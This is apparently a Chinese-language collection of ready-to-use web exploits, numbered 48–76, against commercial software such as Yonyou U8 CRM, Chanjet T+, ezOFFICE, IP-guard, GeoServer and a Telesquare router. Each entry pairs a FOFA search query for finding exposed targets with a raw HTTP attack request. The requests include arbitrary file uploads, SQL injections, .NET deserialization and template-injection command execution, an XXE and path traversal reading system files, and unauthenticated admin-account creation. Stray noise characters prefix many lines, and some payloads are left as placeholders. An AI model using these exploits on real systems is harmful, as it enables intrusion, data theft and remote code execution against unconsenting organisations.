User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 _+ _$ o& Y. h& kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! Y8 Z! I5 L* t# b2 M8 {* L. I7 qAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
; n( T3 f9 r) B. x+ YIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
* W* [0 G+ U: j5 e1 Q* pConnection: close
8 a1 r) G5 g5 Z( F2 A7 j7 b4 n

9 N% ?0 t3 s2 C4 _' ~' k# F
1 N  u& v  X: g48. 用友U8 CRM swfupload 任意文件上传
2 Z# b" G1 u7 p) R2 s# vFOFA：title="用友U8CRM"
" A1 i$ e2 \) U  a/ L: ]: ]0 gPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
, G0 \  ~; B, e. eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) J- m) J, ~6 c% [, m- O1 M8 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. n4 B# r5 i8 `, N0 p4 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& R4 C# \7 Q* F0 TAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
* ]% C8 S( ^7 [% n. h8 r& R9 \! J------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
8 |5 N3 A0 c3 X9 F; M8 u1 {' aContent-Type: application/octet-stream
------269520967239406871642430066855
4 L$ P6 z5 m4 h; ^Content-Disposition: form-data; name="upload"
upload
* Q3 u. u* J$ j- R3 G, g------269520967239406871642430066855--

. x6 U: ]2 i( g/ C
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
3 j8 J4 ?9 D$ [4 ~FOFA：body="用友U8CRM"
# H' a% Q% b& x. C
7 n# @  \/ o5 G$ k+ C1 cPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
' l! T& p- ^; Q3 g. uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
$ v- L. d! x1 R( _, {6 O8 v' y; EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( W# }% G/ [3 [: jConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
; ~0 W7 g& i) p5 hContent-Disposition: form-data; name="file"; filename="%s.php "
; J4 t( ^/ S- r6 ~% |4 t6 L- OContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
3 N3 i4 i# J9 k# N4 |
upload
) z8 a" w5 W0 w' k-----------------------------vvv3wdayqv3yppdxvn3w--
. [( k% x# Y5 G. t2 l6 [; [( i

http://x.x.x.x/tmpfile/updB3CB.tmp.php
. a+ ?/ r6 O  H) f3 U+ G& d  T1 F
50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
! I1 z) u5 \" _' s1 \) n, f1 VPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
7 h# {0 l; }# a- V2 ], TConnection: close
/ `. r3 s! ?" M9 o3 KContent-Length: 224
8 h4 E3 M( y8 j( }Accept: */*
. F6 j) J1 z* s# MAccept-Language: en
Content-Type: application/x-www-form-urlencoded
! G/ w1 s$ o) Y4 a$ z4 xAccept-Encoding: gzip
) U: i9 X, |, J6 ]' }/ H
) L" b- J: m+ x, D" s% Z: ~searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
. A# n8 Z3 }" n" J* L% Q

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
/ ^* i# ~4 {& U0 T4 O' `* k1 fFOFA：app="云时空社会化商业ERP系统"
7 @3 N* t4 y+ e1 c) L/ I4 j; PGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
8 a  u* u1 `5 jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
) z6 M; ~# c" D' q/ {6 F  A7 CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ L; F# W. a+ {' p9 p$ p6 bConnection: close

8 y6 l8 r: M- a8 E1 J( J# [
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
: S" t& _! _1 T3 T4 w2 GAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
3 G7 C! n( `7 H/ a4 A$ \( Y% ?6 \
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


7 ^* O$ @! x* J% @6 ~0 B) v53. 迪普 DPTech VPN Service 任意文件上传
# i. A# D" L7 i' P9 k1 mFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

+ |) [9 X$ f7 X2 T% z  J" X
7 {! R; e4 ~6 \& Q54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
  u( c7 Z+ M1 f  z4 ]% E第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


% c9 k- ?1 D( b2 ]完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
$ T2 x  I, f$ Z" F7 K# i$ `User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
9 p, {/ _+ q, m  z& ~Content-Length: 593

% F7 x* {3 ?2 \% Q: _7 F& t{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
% V# p, L- V7 z* | "MethodName":"Start",
  "ObjectInstance":{
; O+ ~; H( R- x6 m- n   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
8 X6 T' H% s; x' V" w& i4 |6 \0 m    "StartInfo":{
* o" Q( Q+ `3 U9 X: z$ {5 s   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  Z  t: \4 Y; V4 Y  }
* @; S; ?8 k9 W8 ^* w& ]  }
. U  P7 ~4 ?6 R8 w% `}

( R5 c( O+ ^0 z4 }) @" j
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

# O+ d, r+ W5 p
( Q1 B& d; E" F7 ^. A( {55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
5 }7 x8 r+ H1 O( p7 Z8 v第一步，通过
: i; j  F" U0 H9 G8 |/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
% o. A9 I2 z5 w第二步，利用获取到的Cookie请求
4 k- |4 S3 |4 U$ a* T/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
3 O* E, }9 I4 v
7 P, s0 R0 U4 G6 @8 k56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
2 q0 p' ^( e: }FOFA: app="畅捷通-TPlus"
$ Z( B: _. O+ h/ [5 z8 DPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
- k8 `' e; N: B4 y! mHost: x.x.x.x
5 @4 u& _% g+ N5 p6 E, tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
  s: x8 |' n- t5 p! M$ q+ y
{
  "storeID":{
$ @) {* L3 u0 ~; f# N2 ~    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
7 o! i5 M, b0 I' J   "MethodName":"Start",
6 r) i- S$ P% D4 V    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
) B: y# c3 |. s        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
' G4 d- r( `1 t& X    }
; F& u4 b" _1 w! U9 H' c4 U  }
) o  J0 H" v, r4 Q}
  H" b" r! Z9 v) F7 h; p
0 M9 x/ n0 D' S
57. 畅捷通T+ keyEdit.aspx SQL注入
5 d* A! E/ F! K4 ^  X: s# ^FOFA：app="畅捷通-TPlus"
4 v/ w8 b3 l5 G  y" Z0 EGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
4 T% q* F; x/ ^+ c' b2 g7 t" AUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! p/ \3 k7 ~2 Q) w% D: b2 A; JAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
$ x- s, a+ {3 l# o6 C8 t; NConnection: close

4 o1 q1 f  O9 d" ?  x
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
0 z$ r+ {1 s7 z% D0 Z( dAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
# W" ~' W1 `9 A$ NConnection: close
- U& {. k+ p5 Z

59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
7 k8 q. F9 i0 i) TPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
' `* S2 Y) S0 b* p, C' @/ vHost: 192.168.86.128:9090
6 ?5 I* e( ~* H+ SUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
  `) g6 W2 M/ D' @& G6 B) a. p( JContent-Length: 1669
Accept: */*
3 [8 q6 n8 Y0 s: v! ^, l3 Y( FAccept-Language: en
( \) |8 j- e7 h, U/ |) sContent-Type: application/x-www-form-urlencoded
! O- o' a, w6 pAccept-Encoding: gzip
. M, J# i# j- f9 S  d/ K( p
2 `; \$ P) J9 V2 d7 |5 APAYLOAD
9 k: c; D( E$ b
) @' ?4 \1 b* V" c
/ {; O- {$ _, e+ N1 t- G60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
' z' @0 ~1 Z9 a: [GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
# c7 t* r& ~4 J; C% |Host:
" E0 k1 F$ n- B1 s1 z5 a  IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
2 }4 D  V3 T+ |3 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  h4 p* @6 F8 O. h: C/ {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


1 @" u& [7 B) X" f4 O" L61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
# E) ~/ ]5 P2 h1 c4 L- }POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
# n) ?  S/ G: p0 E& a+ s/ RHost: x.x.x.x
( G$ ^$ M/ \6 m4 Q4 m% IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 a9 H! s  J1 F8 ^* DConnection: close
$ a, g4 T5 T! G! N/ o4 V! b$ yContent-Length: 27
* l( r# W7 N0 V/ j$ HAccept: */*
/ X! b+ h- r' A  N5 r( j4 GAccept-Encoding: gzip, deflate
. J; N0 @# O$ p+ tAccept-Language: en
) \- T( v8 \; k8 P/ c  e; V$ HContent-Type: application/x-www-form-urlencoded
2 B0 c" Q: O7 z9 n
# {$ T6 `# J, y9 R7 v' @4 q+ Q8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
7 `, l1 ]) R  \- d$ y6 O% KFOFA："IP-guard" && icon_hash="2030860561"
, O, R# B# V* w5 A4 F* H. L1 Y0 gGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
0 H. S. W) [* b* ]. jHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
2 P/ ], Y7 _0 d! G/ v& m! GAccept-Language: en
# ^2 j4 i1 K" g9 b  e1 UAccept-Encoding: gzip

( k$ r' |/ @3 Q
' ]; A) }5 Y0 j# ]- {访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

% B9 O' u% V5 t: S: n, d
63. IP-guard WebServer任意文件读取
+ F" t- n% c0 GIP-guard < 4.82.0609.0
/ U. f2 N* [, Y9 p7 j8 e" C% EFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 c; a7 }  u: V% PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

$ n- G$ a5 \9 i( E' i/ v64. 捷诚管理信息系统CWSFinanceCommon SQL注入
; i- C) G- u) @5 G" IFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
9 V3 \1 M0 U8 ?1 L/ @- t& ?6 GUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
+ z) p: i  |9 x, }Connection: close
1 [2 x; W1 \9 e3 I5 cContent-Length: 369
Accept: */*
- M3 h+ @0 Z5 @9 S) h1 ?Accept-Language: en
& B* r$ m8 D" I8 z% S2 }Content-Type: text/xml; charset=utf-8
# i3 E" _9 h* k' xAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
1 m% D2 N1 ?! E0 b<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
& s& _5 l/ {. L( U+ j; z, s# _<soap:Body>
5 ^/ W4 ^- o9 X1 `* x( I3 `    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>
  ?2 v5 }, s8 N" E/ ~

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
# y+ b" {$ W9 lFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
9 j, d( \7 y) f2 p响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
/ }$ O! X3 W1 T* k8 ]User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
3 z  z8 @$ w0 w6 nAccept-Encoding: gzip, deflate
$ B8 {$ P3 T+ hAccept: */*
0 S$ Z+ D7 s8 d+ I1 RConnection: close
6 ?9 l; q  ^4 y* S# C% W; N" \Accept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

% G% [3 s+ G' N$ O9 J! f( ~8 q" K+ P
/ {$ Q' b3 z$ ~' h, v5 i; o7 h& f66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
8 a  o  T9 J' i/ XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
( A& T$ z- ^' x4 o' i) UAccept: */*
Accept-Language: en
2 a+ l8 D2 A" f4 @9 H% W# r7 H0 jAccept-Encoding: gzip
2 T$ N& A% q0 a7 h- x5 q

5 t" y9 Q$ P: r/ y! L第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
7 P' V4 L4 _& x/ B' D' R8 rFOFA：app="万户网络-ezOFFICE"
4 ^; C8 }4 N: ynewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
" t4 `; v* o7 c2 @( q% HPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
2 z1 D; J2 Z7 m3 D1 S1 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
6 \) M( o, Z  x- H0 Z! s) ?. qContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
* J" p2 t0 j+ yUpgrade-Insecure-Requests: 1
* U; ?6 d/ v- f5 ~4 t
--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
/ |" t; A$ P0 Y+ o6 ?* }4 d2 }
<% out.print("sasdfghjkj");%>
& I! K7 m* }1 P" x6 D--ufuadpxathqvxfqnuyuqaozvseiueerp--
* J6 C5 x* D! I# |; ^7 L. _
4 [1 Z6 z$ ]$ c3 _; [
1 X3 d1 Y9 I* |% c文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

; N+ V" g- }3 s& c* L1 j) @/ }68. 万户ezOFFICE wf_printnum.jsp SQL注入
9 N7 a% Z4 p, o4 IFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
& g5 C3 G( }" n  ZHost: {{host}}
; x* o: |2 a4 ~6 x2 R8 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
4 `+ |1 ?0 j6 r7 F: {) P; f9 gAccept-Encoding: gzip, deflate
& _7 t8 X7 X% y( u; IAccept-Language: zh-CN,zh;q=0.9
Connection: close
* N6 j1 k7 k9 h0 `
9 J: p0 |& Z$ G
69. 万户 ezOFFICE contract_gd.jsp SQL注入
0 v+ G* ^; T5 XFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
; z. R7 K7 W5 _4 ?9 zHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
/ J" H9 ^( C6 s! ?Accept: */*
Connection: keep-alive

6 d9 y% A1 u8 F+ J+ S( I0 K, \
! Y+ ~6 ^3 w7 ~1 |& S70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
. I, y2 ]- R/ j3 WPOST /member/success.aspx HTTP/1.1
; P  Q& m, F7 Z% c- M) PHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
$ t* b$ N0 ~2 {- c. c; a7 qSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
* |9 E/ s$ Z- r# e: E" iTYPE: C
Content-Length: 16702
4 ~( N' \  c  ^- c) h
__VIEWSTATE=PAYLOAD
9 v* [6 @  g& N$ O$ m2 o7 `* @

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
- Y( D0 H6 g- k4 QFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
' @5 F/ I- m( d+ O; A; BUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
1 K+ ]$ F' l7 {% `' C  w) yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

; ^9 k5 L# \# A6 S* r" z; u1 k0 O
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
9 x) v% q; s* n, H; NContent-Length: 583
5 `% g# n) N( z1 a& p' dContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
2 u7 Z! c: I3 ?5 Y
4 \5 `/ @& J+ I. z! k' W9 A6 v& ~S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
8 ^' K3 X1 _1 N4 f

73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
  M; o% b7 v  M! q; ], a( vHost:
2 C. l& ~, O) O4 F6 nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
/ x( J% r; P% }: w8 B) ]$ CContent-Length: 1981
- v* z# V  E1 Z/ X6 IAccept-Encoding: gzip, deflate
- |0 Q3 U4 m$ z3 pConnection: close
Content-Type: application/xml
SL-CE-SUID: 3
. l% u7 l/ r) p+ d$ \, ~
PAYLOAD
: M1 g& @/ a9 ?( s7 e4 A: s. A* O. k
" N* g: J; e: W* d4 P6 p7 B
" b, P; k  i4 F5 H2 m74. 致远M3-server 6_1sp1 反序列化RCE
% l3 W/ G. y8 C! H5 P% }8 }; IFOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
, i) }1 i1 v" b. r6 v" w! ~GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ i% M' r/ b6 d. `Connection: close
& k" t( h. {' Q) w! p, F6 {' h6 PAccept: */*
: }7 S8 T4 c6 ^4 Y* bAccept-Language: en
0 M) ]& w9 e  ~. ^Accept-Encoding: gzip
$ n! x+ ~  \. c+ N" Q: o8 L( S

$ R% r& G& ]- d4 k' }- O. yGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
* A" \- ?  o: }2 M6 B( \- g7 Y
* X/ \; X1 u  B' P2 ?  B
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
8 q' I: r9 \+ R4 c" WHost: x.x.x.x
- w( ^( m+ ]: p# z" UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ M! o7 ?( Z8 s1 ICookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
' c) k' U' A" o" y$ w% s0 n& g4 @2 P
2 }" _3 f+ y2 X% [% b5 Y7 l6 U
4 j7 S9 y& M: x7 ]1 M6 t1 G9 ?GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
